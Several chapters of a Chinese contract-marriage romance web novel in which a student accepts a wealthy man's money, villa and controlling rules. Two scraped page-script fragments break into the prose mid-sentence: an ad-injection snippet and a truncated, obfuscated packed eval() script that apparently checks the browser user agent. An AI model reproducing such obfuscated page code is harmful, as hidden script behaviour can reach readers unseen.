和这种人周旋,她会被啃得肉都不剩,不过既然他在乎面子,她只要不扯下这虚伪的绅士面具就好,何况她的骨架都要支离破碎了,哪儿还能关心这极少的皮肉。 “你的眼光很好。” 温知禾不再用敬词,双眼明亮坦荡。 “我漂亮,聪明,机灵,能干。” 坦荡到自我夸赞都不脸红。 贺徵朝眉梢轻挑,漆黑的眼底更深。 “现在在你看来,我应该很没骨气,低头也快。”温知禾轻轻吸口气,下定决心般话锋一转:“你的请求我可以接受,但我想知道您能给我什么好处,请你详细的,明确的告诉我。” “我不想吃亏,也需要一些安全感。需要的保障也不会很廉价。” “既然你大大方方和我谈合作,我也明明白白和你提要求,您同意吗?” 说到这,温知禾有些口干舌燥,她立即拿起眼前的高脚杯,饮了口葡萄酒。 温知禾很少喝酒,也不胜酒力,贸然饮下一大口,即使酒精度不高,她的面颊也不由得浮起淡淡的酡红。 贺徵朝泰然地观赏着她,唇角轻掀:“可以,你说。” 温知禾也盯着他的双眼,毫不客气:“就现在,你给我打一笔足够说服我的钱。” 能提出这番要求,贺徵朝并不感到意外,女孩如炬的目光他照单全收,包括——无理的要求。 一张卡从他的指腹挪到跟前,是黑金色的信用卡,温知禾仅注视一秒钟,便听见男人醇厚悦耳的声音:“里面的额度有一百万。” 如果仅仅是信用卡,温知禾或许并不会有什么感觉,但听到百万二字,她的心脏结结实实漏了一拍。 她是心动,但并没有流露过多急切,连卡也没碰,平静谨慎地询问:“有没有什么注意事项?” 贺徵朝眉梢微扬,笑了下:“卡是给你开的,随便花。” “但如果你指婚后,那确实有。” 话音捶落,结结实实地打住了温知禾抬起的手,烛火映照他的双眼,难探其间的深邃暗沉,温知禾心底动了下。 7. 听话 晚风凛冽,温知禾下巴埋在围巾里,双手也揣进口袋,左掌与那张黑金信用卡贴合,莫名比右边烫手。不,不是莫名,毕竟这里面有一百万。 温知禾心跳有些快,等车门敞开,她的思绪才稍稍迁回。 回家的车并不是那辆星空顶,而是一辆黑色商务车,和贺徵朝同坐后排。 温知禾视线向窗外抛,谢绝与他有任何交际,将沉默贯彻到底。 话不投机半句多,大概是刚才已经谈尽了条件,贺徵朝并未置词。 轿车向右转弯,暖黄的路灯同方向偏滑,淌到男人膝上落放的手,腕骨那支表涔着银光,儒雅深邃的面容也有一瞬模糊迷蒙。 温知禾才发现他在阖眼养神,这让她拥有放肆打量的间隙。他们面对面的次数说多不多,说少也不算少,平心而论,年龄的偏长,会令他有种与众不同、难以言说的气质,至少她并不反感。 在过去的二十年里,温知禾倒也不是没有喜欢过异性,可与贺徵朝比较,明显有很大偏差。他的家世、外表、背景无疑是上等的、精贵的,但他真的不符合她的择偶标准,思想认知也有很大差别。 尤其是他难以理解的要求。 每月最低一百万作为零花钱,无需生育,服从配合,对妻子有要求确实无可厚非。但他竟连穿着、头发长度都要管控,未免也太‘细致入微’了。 温知禾捏着裙角,轻轻叹口气。 倒是挺符合她对他的刻板印象。 轿车打双闪停在小区楼盘下,司机下来替她开门。 温知禾刚要下车,后方传来男人的声音:“两天之后,我会让人再来接你。” 这是之前已经协商过的事,温知禾仅停顿半秒,礼貌地与他四目相视,“嗯”了声。 下车落地,关上车门,温知禾走入楼盘,想起什么,不由驻足扭头。 但那辆车已经飞扬而去。贺徵朝对过路的风景视而不见,对长久的打量视若无睹,对她的住处自然没什么兴趣,驱车离开得快也正常。 他放下姿态表露关心的模样,跟对待雀儿可没区别,给予适应的两天,不就是在剪羽。 回到家,温知禾卸下一切保暖外衣。 摆在她眼前的头等大事半喜半忧——这一百万的,她要怎么花? 毫无疑问,为了迎合贺徵朝的审美,她必须得给自己买些行头。那套在泠州被退回的套装,兜兜转转还是回到她的手中,有大额“零花钱”在手,她没必要再转手卖掉。精美、昂贵,极具有富人象征风格的穿搭,就是他的喜好吗?但温知禾只记得,他说喜欢她穿裙子。 温知禾原本物欲就不高,为了个没感情的男人琢磨这些有的没的,顿时更没兴致。 她感觉自己现在的定位有些低俗、不齿,能让人联想到不好的人和事,但说的话做的事覆水难收,各取所需而已,有什么问题?退一万步讲,他贺徵朝就没错? 是他引诱的她。 一年而已,不长。 洗漱过后,温知禾浑身软陷进沙发,刚要阖眼,茶几上的手机倏地震动。 拾起手机,看清来电显示的联系人,温知禾有片刻恍惚,很快就挂断。 对方似乎料定她会这样,又在微信上发消息。 温荷:【最近天气冷,再忙也要注意保暖,别感冒了。】 温荷:【年也过了,气也撒了,这么久过去了,有什么事不能和妈妈心平气和坐下来谈谈?】 温荷:【我想去看看你,你现在住哪儿,不能告诉妈妈吗?】 放在从前,温知禾或许会讥讽地反问温荷,到底是专门来看她,还是看望宝贝继女顺便关心她的,但温知禾已经没有那种不忿的心气。 她已经不是十六岁时没吃到生日蛋糕就嚎啕大哭的小姑娘,许多事情她不想计较,不是因为过去了不在乎了,而是根本没有计较的必要。 不予以理会,过几分钟,消息便沉了底。 窗帘半掩,遮不住轻柔的月光与路灯,温知禾看会儿天花板,又翻身看向窗外,不意外地失眠了。 隔天她并没有蒙头睡到中午,而是将家里家外的物品都清点妥当,以便明天搬家。婚后她自然会搬进贺徵朝那里,这是他的要求,同时,对方也承诺给予一份令人心动得无法拒绝的礼物——房子。 在昨晚的圆桌谈判上,贺徵朝除了给张信用卡,还提供多套房产信息供她挑选,如此得天独厚的诱人条件摆在眼前,谁看了不会迷糊。 该说不说,这位先生虽然傲慢,但也确实多金舍得花钱。这套房子称作“婚房”,写作“鸟笼”,只有她一个人住的话,跟网络上很流行的“二十岁未婚独居别墅”有什么区别?拜托,赚大发了好不好。 如果说前几天温知禾还有点小清高,那么现在攥着信用卡雄赳赳气昂昂来到商场的她,是彻底对贺徵朝的豪横折服了,有句话说得很准确,有钱就是可以为所欲为。 这张卡她不论怎么刷,削减的也不过是微薄的零头,虽然看不到消费短信,但通过发票,温知禾能明显看清楚并发出感慨——自己在商场,果然还是不太会花钱。 她的大额消费,基本是在网购,从前需要拼单团购的她,可以做到无需货比三家就下单;平时怎么也断舍离不了的物品,也能立即换掉买新货到新家;就连不怎么踏足的奢侈品店,她也能从容不迫地随手一指当场买下。 别墅的信息文件还存在她的手机里,供她时不时查看,以前温知禾也想过,等以后赚了钱就给自己买套房,最好是在大城市,燕北。现在梦想成真了,她居然觉得有那么点……空虚。 网上那些诈骗精装房哪能比得上贺徵朝提供的别墅,那里会有人定期修缮、所见即所得,哪怕离婚了也不会被回收。至少贺徵朝是这么承诺的。 商场五楼,路过一家影像店,温知禾久违地产生心动,驻足观望。 信用卡里还有很多钱,以后就算做不成大导演,存点小金库开一家这样有情调的店好像也不错。 温知禾前脚进去逛,后脚两个拉扯的女孩,以惊讶的语气压低声线敦促: “宋涟漪,我没看错吧,这是你姐吧?” “你姐也太豪横了,买了一堆衣服和十几万的包,真不愧是大博主啊。” “你快去认亲,一会儿说不定她还会请我们吃晚饭呢。” 说者无意听者有心,宋涟漪扯了下唇,冷不丁地终结玩笑话:“她怎么可能请我吃饭。” 虽然是大学室友,到底也不是推心置腹的好友,室友知道宋涟漪有一个随母性的姐,却不知她们并没有血缘关系,以为是相亲相爱一家人。 她们之所以认识温知禾,当然不是通过宋涟漪之口。同在一所大学,温知禾是高她们两届的优秀学姐,不仅学业优秀,名列前茅,更是自媒体平台小有名气的博主,有这样的履历title,走到哪儿都是万众瞩目的对象,即使不在一个年级,认识也正常。 宋涟漪回绝的态度过于强硬,室友一愣:“啊?为什么呀。” “哪有那么多为什么,白嫖上瘾了吧你,学姐的钱难道不是钱?”宋涟漪睇她,轻飘飘地揭过,“吃我们的穷鬼套餐吧。” “嚯,不想我们蹭口饭你就直说,至于么。” “吃穷鬼套餐怎么了?吃你家米饭了?” 几个女孩嘚啵嘚聊闲天,宋涟漪没兴趣加入,看眼音像店,指腹有一下没一下地敲着屏幕,想了很久,还是打消了对温荷报备偶遇的念想。 - 真正踏足喜爱的领域,温知禾才发觉,自己不是不会花钱,甚至她还有点嫌零花钱不够花。 这才刚刚月初,她就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 已经花了大十几万,会不会太挥霍了些? 天老奶,温知禾做梦都没想到自己会有这么一天。由俭入奢易,由奢入俭难,到此为止吧。 “这件,那件……嗯,都包起来吧。”温知禾抬手准备刷卡。 “这件儿呢?老古董了,全国也没几件儿。”店长拾起印有古早港星封面的光盘,笑得神秘,“你要不想要我可得好好收着了,不然就没镇店之宝了。” 温知禾深吸口气,停顿三秒答:“我要了。” 店长露出无奈又痛心的模样,可分明这天的总收入,已经是开张三年的巅峰。 登记完信息,店长会将这些唱片光碟周边等都运往家中,临走前,对方主动提出加好友,说是以后淘到的老玩意儿,都方便联系她过目。俨然把她当成大款了。 温知禾没拒绝,本身她最奢侈的爱好也就这些。 贺徵朝赠与的别墅算上地下室足有四层,放下这些东西肯定绰绰有余,但搬家那天……温知禾闭眼幻想了下,祈祷他这尊大佛千万不要驾临。 刷卡取了长条发票,温知禾心情大好,原本那点顾虑也瞬间烟消云散。 - 初春的燕北黑夜总是来得很早,夜幕低垂,路灯四起,道路上的车驰马骤为这座城市交织繁茂,挺拔的高楼大厦也适时地亮起忙碌的炽灯。站在大楼顶端的落地窗旁,可尽情将其夜景纳入眼底。 贺徵朝眼望商业区最具有标志性建筑的大钟,扯了下领带结,手边解除免打扰模式的手机骤然亮屏。 【尊敬的用户,您尾号2313的信用卡03月10日16:21消费20.00日元。】 【尊敬的用户,您尾号2313的信用卡03月10日16:37消费1769.00日元。】 【尊敬的用户,您尾号2313的信用卡03月10日17:10消费32,300.00日元。】 …… 从刚才起,贺徵朝的手机就一直接连不断地收到消费短信,数额有大有小,林林总总加起来,虽不至于多庞大,但发送频率之高,也确实足以令他注意。 他是该说她毫不客气,还是夸她行动力强? “贺总。” 门口的助理敲了两下门,走到跟前汇报道:“您要的赠与合同,签约协议都已经准备好了。” “温小姐看好的那套房,也让人提前去收拾了……今天那里到了很多行李,应该都是温小姐的。”助理又补充。 贺徵朝嗯了声,漫不经心地掸了掸烟灰:“她住进去了?” “还没。” 或许他是该夸她一句。烟星燃到半截,贺徵朝清浅地呵气,随手摁灭在烟灰缸里,略略颔首:“备车。” - 网约车刚要抵达小蜗居,助理的一通电话却立即将她召回—— 贺徵朝要和她签合同,并亲自送她去别墅。 按理来说这应该是大好事,可她根本没做准备。温知禾看眼身上朴素得不能再朴素的牛仔裤厚毛衣,摸了摸短顺的发丝,实在不明白他为什么要把时间提前。 “妹子,这车到底往哪儿开啊?都快到目的地了,我能不能先把你撂下?”前方的司机无奈询问。 温知禾轻咬嘴唇,镇静下来:“放吧,就在前面。” 她松开捂着的手机,对话筒说:“不好意思,能不能先让我住在我家一晚?明天货拉拉才帮我搬行李……” 听筒里的助理说了句“稍等”就没了音,温知禾清晰地听到,那端换了位对讲者,低沉的嗓音透着不疾不徐的淡然:“人到了就行。” “我说的话,你忘记了吗?” 他的语气分明是温和的,可字字落地,却有种令人无法违抗的强硬。 在约好的婚后条例里,他的要求是——必须听话。 8. 馈赠 晚间七点,暮色四起,凛冽的晚风刮得她面颊浮红,牛仔裤下的双腿也因站得太久,慢慢生涩发酸,但这些远不及她左右两边拎着猫包的手。 距离电话挂断已经有半个小时之久,温知禾刚要弯腰放下猫包,右前方却侵进一道刺光。 老破小的租房有两点不好,一是安保系统差劲,二是设施老化严重,温知禾家门口并没有路灯,习惯了黑夜,亮光贸然闯入视线内,只会令她难适地眯起眼。 迈巴赫开双闪不偏不倚地停在门口,与上次的方位相差不大,车牌号也嚣张得不难记。是贺徵朝的车,他终于来了。 她站在暗处,司机开车来时能瞥见,不难发现,很快,驾驶座上的人便下车替她搬行李。 司机刚要接过她手里的猫包,温知禾便立即回绝:“不用,我抱着进去吧,这是我的猫。” 司机了然地说声“好的”,反手替她开后座的车门。 温知禾正准备猫腰进去,望见车上的男人,愣了一下。男人仍然是偏分侧背,轮廓硬朗的面庞,不笑时显得格外疏冷淡漠,挺括的西服西裤黑沉简单,令香槟色的领带尤为清晰。每次见面他的穿着总是得体养眼,泛着与生俱来的矜贵感。 虽然这位贺先生的喜好时常让她感到不解不忿,但无法否认的是,和这种男人结婚,光是外形她就并不吃亏。不过她并非因他惊艳,而是意外他的出现。 他所说的亲自接送,居然不是让司机专车接送,而是本人也过来? ……好像也不算意外,毕竟她还要和他签合同。 车厢里开着十足的暖气,温度稍微变化就格外明显,冷风卷携着她迟疑的目光投来,贺徵朝并不难发觉。 他掀起眼帘侧目睇去,不咸不淡地提醒:“别傻站着。” 认识到现在,他虽然给人感觉骨子里是冷的,但确实没明面儿说过重话,这声提醒,温知禾莫名听出几分关切。或许是错觉。 温知禾抱着两提猫包坐进去,顺手将门关上。 后车厢空间宽阔,并不逼仄,脚底下刚好放得下俩猫包,温知禾松口气。 两只小猫跟了她许久,从出生到现在,只在她租的一亩三分地里撒野过,社会化并不是很好,猫包透气也不隔音,稳定下来后,车厢里立即此起彼伏起喵呜喵呜的声音。 贺徵朝对她包里的物品并不感兴趣,他有眼睛,听力也不错,自然看得出她带的是什么。 他低眉瞥向最近的那只,眼也没抬,嗓音低沉:“带猫做什么?” 温知禾有种做错事的感觉,不怪她心虚,毕竟贺徵朝的年纪摆在那儿,她又还是学生,有过在校内被辅导员抓包的前例,同等自上而下的问责口吻落下,很难不让人犯怵,况且他本身就是这段关系的高位者。 但她也有十足十的理由。放轻松,这里不是学校,贺徵朝也不能拿她怎么着。 抛开学生心理,温知禾解释:“我搬新家,肯定得带着它们,贺先生,您很介意吗?还是说您对猫毛过敏。” “不会。”贺徵朝抬眼,唇边泛着笑,眼底漆黑平静,“下次要带,提前和我说一声,我可以让人额外备辆车,也省得你没处落脚儿。” 很周到的提议,但温知禾能隐隐感觉到……他对没有提前报备一事的不满。 应该,不至于吧。 温知禾攥着手机的指骨慢慢蜷曲,垂眉点头,面颊上有清浅的酒窝:“好的,我知道了,谢谢您。” 她发出礼貌三连,贺徵朝不置可否,并没有像之前那样纠正她的过分客气,或许他还是挺吃这一套的。 - 他的提议并非多此一举,两只猫在温知禾脚边两岸猫声啼不住,确实有够吵闹。她是习惯了,但别人不是。 温知禾时不时弯腰去安抚,犹如幼教老师一般耐心。她觉得自己或许也该安抚身边的男人,但抬头时,她却分毫不差地对上男人的目光。 他不知何时曲臂支着下颌,偏头望向她,幽暗深邃的双眼,毫不遮掩。 猛然的相视会令人下意识心跳加快,他的眼神犹如林中埋伏捕猎的豺狼虎豹,在顶灯投落的阴翳中,总是泛着难捱的深意。 温知禾想问“是不是吵到你了”,话还没说出口,车已经停在别墅门口。 她一路无暇顾及窗外风景,直到司机开门,望见眼前矗立的金碧辉煌,她才发觉——自己的嘴差点合不上。 “哎哟天这么冷,俩小宝也够沉的,小姐,我来拿就行,进去吧。” 回过神时,一位开口格外自来熟的阿姨就站在面前,冲着她笑,抬手要去拿猫包。 卡在喉咙里的话置换成本能的致谢,但音量过小,也不知对方是否听得见。 别墅的确是别墅,即使在寸土寸金的燕北市中心,占地面积也并不小。公馆分前庭后院,走过石板路上台阶,门被人提前拉开,客厅宽阔得让人目不暇接,一时有些不知自己该去向何处,好在公馆有阿姨领着。 领班的阿姨姓秦,在贺家帮佣了十几年,温知禾任由她携着一路向三楼,在此期间,她又碰见另外两名家政。 家中的一切都是由她们收拾妥当的,她那些购置的衣物也全数码齐在一二层的衣帽间。 实在令人眼花缭乱。温知禾一时忘记呼吸,轻轻吞咽口气。她本以为自己买的东西够多,会过于杂乱下不了脚,但现实远比她幻想要夸张得多。 她的确人到了就好,因为已有人提前布置。 这栋并未完全精心考量的别墅,实景有着出乎意料的惊艳。轻法的简约风装修,吊灯绚丽耀眼,投射的每一处都不过分张扬俗气,是现代女孩会喜欢的风格,就连绿植、鲜花都鲜艳欲滴,崭新得像第一天上任。 温知禾尽量不让自己表现得太没见过世面,她一声不吭,仅有目光在不停梭巡各方的细节,耳畔有秦姨向她介绍这里的一切。 秦姨是位面容慈祥行事也滴水不漏的仆妇,不会叫她尴尬,时不时还会问她喜好,就连两只猫的名字、习性也问了遍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不会有女孩不对房子心动,这是国人刻在骨子里的DNA,也是许多没有独属于自己房间的女孩的渴望。 贺徵朝笑了下,抬手轻抚她的头颅,仅一秒就放下,发话道:“去吃饭。” 这是迄今为止,他们头一回的肢体接触。 和她料想的一样,他的手很大,很宽,还有点热。 温知禾不是那种一被异性碰就会面热的人,不可否认的是,贺徵朝温和绅士的时候确实会让人心动。 只不过,他待她的感觉,像对待小猫小狗小雀。 温知禾确实饿了,餐厅传来的饭香令她味蕾大开,促使她在一声号令下便即刻动身。 正当她刚迈出一步,贺徵朝侧身挪步,又说了句话:“吃完去卧室等我,三十分钟。” 他左手抄在裤兜里,戴有腕表的右手微抬,目光扫过表镜,沉沉定格在她脸上:“八点一刻,做得到么?” 9. 忍痛 卧室,等他。 这两个极具暧昧的字眼结合在一起,令温知禾警笛大作。 她妥善的表情管理几乎在一瞬间出现裂痕,眉头蹙起,双唇张开,怔然与警惕的神情充盈在白里透红的面颊上,有着诸多难以言表的情绪。 贺徵朝看过她明媚的笑,也看过她故作冷静的模样,恼怒时的模样,就像现在。她自以为聪明,到底还是藏不住心事、容易掉脸的年纪。 二十岁。 如此鲜妍年轻。 贺徵朝将她诸多神色悉数纳入漆黑的眼底,轻叹:“不用担心,我不会对你做什么,亲爱的。” “你忘记了吗?那份赠与合同也需要你签字儿。”贺徵朝笑了下,再次伸手安抚她的头颅,这次要更久才松开。 温知禾的头低了一下,面上不表,心底负气。 还亲爱的。 老流氓。 谁和你亲爱的。 温知禾微微抬起下巴,滢然的双眼自下而上地注视他,有着微不可查的幽怨。 她选择直截了当地反问,但又露出虚伪的天真:“……合同,不是去书房签吗?饭前在这儿,我也可以签。” 贺徵朝的手滑落到她的面颊旁,很轻很淡地嗯了声,指腹也轻微地揉捏了下耳垂。 他的动作越界了,且很犯规。 温知禾身形僵硬,心脏骤然收紧。 她可以清晰感觉到他手指上的薄茧、纹路。避免对方感应到她血液翻涌的敏感,她在尽量压抑自己的呼吸。 眼前的男人如此漫不经心,而她在等他回应,遭受这漫长的、被无限拉长的几秒钟。 直至温知禾不愿忍耐地缩了下脖颈,向后闪躲。贺徵朝才松开她,微笑道:“知禾,我是赠与人。” 不作正面回应,以权压人。 温知禾有些窝憋,却又不好说什么,同时,她也没问他为什么不去吃饭。 正好,她也不想面对他一起吃饭。 去餐厅,温知禾本以为自己会因为刚才的事倒胃口,但在面对一桌佳肴吃上第一口时,她的口水便可耻地从嘴角、眼角流落出来了。 这肉这菜,未免也太好吃了。 温知禾吃得香,赞不绝口,在旁的佣人也放下心来。 平时接待客人,鉴于家政素养,她们都会用心对待,而这次接待的人不同往日的特殊,她们自然会拿出百分之二百的精神迎接。 明眼人都看得出来,温知禾于贺先生是例外的存在,就像俗套的言情电视剧那样,这位小姐是她们见过的头一个被贺徵朝带回来的女孩。 从主家调遣到这里的秦姨,在贺家工作已有十余年,她最是明白这一点,打从温知禾进门那一刻,她就在一直打量端详,谨记她的脾性喜好。 温知禾哪里知道,她的每句话、每个行动都被这一具具精妙的人形摄像头所记录。 她在烧烤,不,是思考。 思考接下来该怎么应对贺徵朝。 简直就是狼入虎口。 昨日缔姻,今日搬家,这种进展,寻常夫妻确实是该做些……那方面的事。再稍微不保守些,寻求生理需求保障的男女,一般也会婚前试验。 温知禾没有处女情结,相反,她也推崇这种做法,但她宁缺毋滥,过不了眼的异性她是不可能去尝试的,真要做点什么,至少得交往半年以上互相交换体检报告…… 显然,这位贺先生是不可能给她体检报告。 其次,他明明明确说过,看不上她,也不会做强人所难的事。 温知禾这么想,确实有些过于理想主义,过于信任他。可是他提出的那些丰厚且诱人的条件,没有人会不心动吧? 她俗气,她非常俗气也非常心动,尤其是验收这一切之后。 贺徵朝绝非良配,温知禾清楚得很,但她愿意背水一战,因为贪财,也因为房子给人的安全感。 虽然这颗甜枣是由贺徵朝的一巴掌给的,可她真的很需要,也很想留在燕北。十岁之前只能和爸妈挤一间房,十岁后她也没有完全属于自己的房间;十五岁以前她还有一个家,十五岁之后她好像又不属于任何家庭。 平凡夫妇离异、再婚、重组,这是属于她父母辈的动荡,如今也已然各自安好,有了妥善的归宿。但属于她的漂荡,并没有结束。 温知禾做过的最大的梦是拍出大热电影,成为大导演,做过最长久最有自信的梦是攒下一套蜗居的首付,安顿好自己与两只猫。她不想居无定所,也以己度人地认为,两只猫并不想流浪。 贺徵朝于她而言是饲主。虽然这么想,是在物化自我抬高对方,可平心而论,就是这个理。况且贺徵朝对她的态度,本是如此。 八点十分,她已经没有磨蹭的时间了。 - 卧室在二楼左手边,朝南的方向,温知禾慢吞吞走去,手刚攀上门把,门板上笼罩更高大的身影。 “嗯,很准时。” 一道温和低沉的男声从后方传来,近得像是贴在耳畔说话。 温知禾后脊一软,怔然回过眸,男人戴着眼镜,颔首与她相视。 太近了。 温知禾呼吸微微放缓,拧门的手在加紧力度,整个人也不自觉贴近门。 极具有身高差距的情况下,即便贺徵朝迁就她低头说话,也能看清她一举一动。她对他总是如临大敌,犹如长满倒刺的刺猬,躬身炸毛的野猫。 他看起来很吓人么? 贺徵朝只是这么一想。毕竟得出结论,不意味要反思。 他拿出身后的文件夹,很轻地碰了碰她的小臂,犹如提醒:“开门进去。” 温知禾用余光看得见,他手里拿的文件夹,赫然是房产赠与合同。 真是鬼迷心窍了。温知禾看到那诱人的字样,也不管一五一十,当真拧门进屋。 她背对贺徵朝,还未来得及转身,就听见门锁转动的声音。 这下温知禾坐不住了,蓦地对向男人,有些许紧张:“要关门吗?这里我感觉不是很透气……” 贺徵朝面色很平静,不作声,仅抬手按了墙边系统。 不多时,温知禾听到很低微的流动声。 他这是……开空气循环? “现在透气了么?”贺徵朝问,漆黑的双眼望向她。 温知禾哑言,都不知道说什么好。 卧室说是卧室,除了床基本一应俱全,自带浴室洗手间、小型客厅阳台,就连衣帽间都是打通一楼的复式层。倘若她没钱了,以此出租当二房东绝对有人抢着住……想远了,她这穷酸命是真没得治。 啪的一声。 贺徵朝随手将合同扔到茶几上,他坐在单人沙发,双腿交叠,并弯腰把一只钢笔放下。 温知禾没坐在他对面,直直站在两米开外,脚尖抵着的地毯,犹如楚界汉河,寸步不逾越。 贺徵朝坐姿随性落拓,额前落下几缕碎发,戴着窄宽金丝眼镜,倒真有斯文绅士的模样。 他观她紧促,又很轻地笑了下,颔首敛眉,转瞬即逝,以两指冲她招手示意:“站那么远,把我当洪水猛兽了?过来站我跟前儿。” 温知禾不想动,僵持几秒钟,错过最佳时间,也就完全摆烂地站在原地。 贺徵朝并未流露出不快,相反,他曲臂托着下颌,又摆出与车上同样端详她的姿态。 该怎么说这种感觉?被他注视,就好像她身上无端生出无形的枷锁、牢笼,供他放肆观赏。 “字儿可以一会儿签,不急。”贺徵朝缓慢出声,摘下鼻梁上的眼镜,边说,“把你叫到这儿来,不为别的,只是想让你换身衣服。我好像和你说过,我对你穿衣风格的偏好。” 他抬眼,敛去笑意:“头发可以慢慢儿留长,这身衣服就别穿了。” 话说完,温知禾怔了怔。一瞬间所有旖旎的、见不得光的想法,在她脑海里一经冲淡。 不对。 这缘由是简单,可未免太小题大做了。 只是让换身衣服?不做别的事? 温知禾想,她确实年轻,有许多事情都没办法想通,例如当下贺徵朝话里的意思。 学生时代她并不沉默,是个勤奋好学的学生,所以她立即发问:“……只是这样吗?” “嗯。”贺徵朝很轻地应了声:“还是说你有别的想法?” 她怎么可能有。 温知禾心底戚戚,温吞道:“我知道了,我现在去换。” 她正打算走,贺徵朝又发话:“这次是初犯,我不给你记着,下次你再忘,我难保不会罚你。” 这番话让温知禾毛骨悚然,她顿然又看向他,跟见了猛禽似的。 贺徵朝眼底带笑,淡声说:“罚你换完再吃饭。” 以温知禾对他的认知,他所说的惩罚,不该只有这么简单。可她还能怎么办,再问下去又能探究出什么?无非自找死路。 衣帽间虽然未满,但充盈了一面墙,琳琅满目得足够她眼花缭乱。随手提取一件衣服的吊牌,都是她打零工三个月都买不起的。有她随便买的行头,更多的像是贺徵朝让人给准备的。 ……大意了,她就不该用零花钱买那些有的没的。 说真的,那间老破小除了她的珍藏品,根本没什么值得货拉拉托运过来,果真应了贺徵朝那句话,她人来了就行。 夜已深,她完全可以换套睡衣。温知禾挑了挑,发现这里确实有一格子是睡衣,但款式……未免太单薄了些。 这也是他挑的? 温知禾毅然略过,如避蛇蝎。 挑好衣服了,最简单的小黑裙。温知禾边换边思忖,贺徵朝今晚不会真的要留宿在这儿吧。 “嘶……” 褪去修身牛仔裤,昨夜贴在膝盖处的敷贴开了胶,终止她一切胡思乱想。 这里没有新的敷贴可以替换,而她又不知医疗箱在哪里,只能随意用手捋平。 拉开衣帽间的门,温知禾看到贺徵朝仍旧坐在那儿,走过去时不自觉地扥了扥裙摆。 “坐。”贺徵朝淡声示意,狭长的双眼定在她膝盖处:“腿上这是什么时候伤的?” 创口不小,他能注意到也在所难免。 温知禾坐在他跟前,两手抵着裙,随口一答:“前两天。” “怎 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他这话一出,温知禾差点没揉皱合同纸,不容分说的下瞬,贺徵朝单膝半跪在她跟前,掰开酒精棉签,拿沾湿的棉头在她膝盖处打转。 “贺先生,我自己来就行……”她轻轻出声。 贺徵朝低眉垂眼,莫名有些专注,声音偏淡:“叫我什么?” 还能叫什么?总不能是老公吧。 温知禾顿时没了说话的欲望,予以沉默,任由他作为。 贺徵朝并未为难她,仿佛那句不咸不淡的问话只是在堵住她的嘴,他总是如此,在让人难为情的水平线反复沉溺。 伤口在慢慢愈合,酒精的浸润并不会太疼,只是有些痒。 温知禾有意识地松开揉皱纸张的手,但手心止不住地涔涔冒汗。她没心思看合同,时不时瞥看膝前的男人,注意到贺徵朝的尾指戴有一枚银色戒指,朴素得不起眼。 稍作琢磨,如果她没记错的话,这应该是代表不婚吧? 膝盖的擦伤不难处理,很快就作封口。 贺徵朝略一起身,将棉签扔进纸篓里。 温知禾收回视线,假模假式地翻开第二页。 “这儿的淤青,还疼不疼?” 他发话,拇指捱过左膝,稍作用力。 温知禾背脊骤然挺直,放下合同,一双浅棕的双眼又懵又不理解地望着他。 她低下头,才发现自己左膝不知何时肿了一片淤青。这绝不是之前留下的,应该是她上车时候一不小心撞到的。 “看来是还疼。”贺徵朝端详她的面庞,平静地自答。 他的大掌完全覆盖在腿窝侧,按压抚摩。 温知禾倒吸一口气,双腿不自觉地并拢,眼角都要逼出眼泪了。 好疼…… 他在做什么? 贺徵朝似乎并不意外,按揉的力度也不减,反而将她弹起的腿往下抵,仅抬眼睇她:“疼?” 怎么可能不疼? 温知禾很想这样反呛他,但她有预感,倘若真这么说,贺徵朝也不会收敛。 贺徵朝看她涨红的面颊,心底觉好笑:“忍得了?” 温知禾不想回答,双唇紧抿着还下撇。 “回答我,知禾。”贺徵朝紧紧注视她的双眼,低沉道。 温知禾轻微地吁气:“忍得了。” 贺徵朝不咸不淡:“好,我帮你把这儿揉开。” 习惯了力度,也没那么难以忍受,但温知禾总觉得……很不自在。这太过暧昧,即便他们现在称得上是夫妻。而且,贺徵朝也不像会降尊纡贵做这种事的人。 除非他是故意的。 意识到这点,膝前的男人倏地发话:“和我说说,今天都做了什么。” 贺徵朝慢慢站起身,嗓音温和低缓。 高大的身影将她笼罩,攫取鼻息间的空气,温知禾大脑供氧不足,呼吸有些滞涩。 她怔怔地望着男人,双唇微张,不知道该说什么。 相顾无言须臾,贺徵朝起身理了理领带结,淡道:“以后有什么事儿,要和我说。” “合同哪儿有不懂的地方,也可以问我。”他伸手,意有所指地捋平合同纸的挝角。 温知禾默了默,片刻后思绪回笼,摇头说:“看得懂,我觉得没问题。” 起草的电子版初稿她已经看过了,和最终版本大差不差,甚至,贺徵朝还在合同里进行了额外加码。例,表现良好的情况下,每月的信用卡额度可以上调,最高可达千万。 一份赠与书,一份“工作”合同,每一条条例都分外诱人,那些庞大的一连串金额,看得她都要认不得数字了。 因为这些,刚才的微妙氛围她暂且可以抛诸脑后,反正贺徵朝又没怎么着她。 温知禾乖乖在每个地方落下款,签完最后一个字,她抬头问,有些迟疑:“那我们明天要去民政局吗?” “不需要。”贺徵朝语气稀松,双眼漆黑深邃,“不是真结,这证也没必要领。” “省得离婚还麻烦。” 10. 收网 乔迁第一天,温知禾躺在偌大的床上,习惯黑夜望着吊灯,竟觉得这里太过空旷安静。 贺徵朝没和她吃饭,签了合同也没留下来,这很好。 只是温知禾莫名觉得,他是在温水煮青蛙。 温知禾翻来覆去睡不着,想把他同一些乱七八糟的想法一俱丢出脑海,但她越是这么想,今日发生的、之前不起眼的事,就越是以歹毒的方式深刻扎根。 贺徵朝没有隐婚的需求,他同她假结婚就是为了应付家里人,所以过几天,他会带她赴家宴亮亮相,也正是因此,他们只有工作契约,不用领证。 不用领证…… 这简直就是天大的好消息。 关注时事的温知禾很清楚,现在离婚可远没有十年前简单,因为还有离婚冷静期这档事。申请离婚登记后的三十天,倘若双方之中有一人未到场,都会视为撤回申请,最快最好的离婚途径,只剩下诉讼离婚,但其中的投入成本也不比前者低。 温知禾当然也明白,她与贺徵朝的这场施舍与被施舍的契约婚姻,并不会走到离婚还会有纠纷的地步,毕竟贺徵朝于她,是绝对的高位者,他这么精明的人,怎么可能会容许她攫取分外之物。 她识好歹。 她非常识好歹。 只要贺徵朝舍得花钱,她一定会把他供起来,做最虔诚的下属。 - 